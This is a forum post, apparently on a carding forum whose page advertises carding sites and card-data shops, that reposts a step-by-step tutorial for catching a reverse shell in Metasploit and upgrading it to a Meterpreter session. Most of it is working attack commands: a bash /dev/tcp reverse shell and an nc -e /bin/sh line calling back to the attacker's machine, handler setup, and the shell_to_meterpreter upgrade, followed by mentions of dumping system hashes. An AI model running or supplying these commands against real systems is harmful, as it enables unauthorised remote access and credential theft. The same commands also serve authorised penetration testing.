banner Expire 1 July 2024
Ad Ends 13 July 2024
banner Expire 15 July 2024
banner Expire 18 October 2024
ad End 18 October 2024
Ad Ends 13 July 2023
banner Expire 20 May 2024
What's new
Ad expire at 5 May 2024
UniCvv
CrdCrew.cc Carding forum
Western union transfer
Carding.pw carding forum
adv exp at 23 may

ESCO

TRUSTED VERIFIED SELLER
Staff member
Joined
Jun 28, 2020
Messages
6,308
Reaction score
710
Points
212
Awards
2
  • Somebody Likes you
  • First post
In this hacking tutorial we are going to upgrade a Netcat shell to a Meterpreter shell in 3 simple steps. First we will use the multi handler module in Metasploit to intercept the reverse shell using a Linux x86 payload. Then we will issue the reverse shell on a Linux host with a Bash reverse shell. Finally we will use the post exploitation Metasploit module shell_to_meterpreter targeting the session with the reverse Bash shell.


Step 1: Setting up a Metasploit Multi Handler
Let’s fire up Metasploit and setup the multi handler to intercept a reverse Bash shell on port 4444 with the following command:
msfconsole
Select the multi handler exploit:

use exploit/multi/handler
Now we need to set the details for the listening host (our attack box):

set lhost [listening host IP]
set lport 4444
Specify the following payload to use:

set payload linux/x86/shell/reverse_tcp
And finally run the exploit:

run



A reverse TCP handler is listening on port 4444.
Step 2: Target host – Bash reverse shell
Now that we have got a listener running on port 4444 we can issue the bash command on the target host to setup a reverse shell and connect back to the attack box. Please note that we are executing this command on the target host from the command line. In real life penetration testing scenario’s this command is often executed through remote code execution (RCE) exploits using various attack vectors.
bash -i >& /dev/tcp/[Attack box IP]/4444 0>&1
The following command with Netcat yields the same result:

nc [IP attackbox] 4444 -e /bin/sh



Reverse shell intercepted from target host.
Step 3: Upgrade to Meterpreter shell
Now we need to background the reverse shell session by pressing the following key combination:
CTRL+Z



Use CTRL+Z to background the current session.
This takes us back to the msfconsole command line. From this point we can upgrade the shell in 2 different ways:

  1. Use the sessions -u [session id]command.
  2. Use the post/multi/manage/shell_to_meterpreter to upgrade the shell.
Let’s have a look at both ways starting with a direct upgrade by running the following command after we’ve put the active session to the background:

sessions -u 1
Once the command stager has finished we can interact with the new session by running the following command:

sessions -i 2
On the msfconsole command line we have to select the post exploitation module shell_to_meterpreter with the following command:

use post/multi/manage/shell_to_meterpreter
Then we have to specify the session we want to upgrade to Meterpreter with the following command:

set session 1
Finally type run to upgrade the shell:

run



Meterpreter session is opened on session 2.
As we can see session 2 has been opened which is a Meterpreter session. Use the following command to display the active sessions:
sessions
Run the following command to interact with the newly created Meterpreter session:

sessions -i 2



Switch to the Meterpreter session.
On some occasions you might receive a permissions related error when running this exploit. In this tutorial we have a root shell with write access on the path the regular Bash reverse shell is pointing to. In order to successfully run this exploit the target sessions needs write access to its current location. Switching the directory to /tmp will often do the trick, otherwise you have to find another location to write the payload to.

At this point we have an active Meterpreter session with the target host. We are now able to use this session for port forwarding with portfwd, dump system hashes and run post exploitation Metasploit modules on either of the sessions. Many of local Metasploit modules take a session id instead of a rhost parameter, this is where you supply the session id from the Meterpreter shell.
 
Ad End 1 July 2024
Top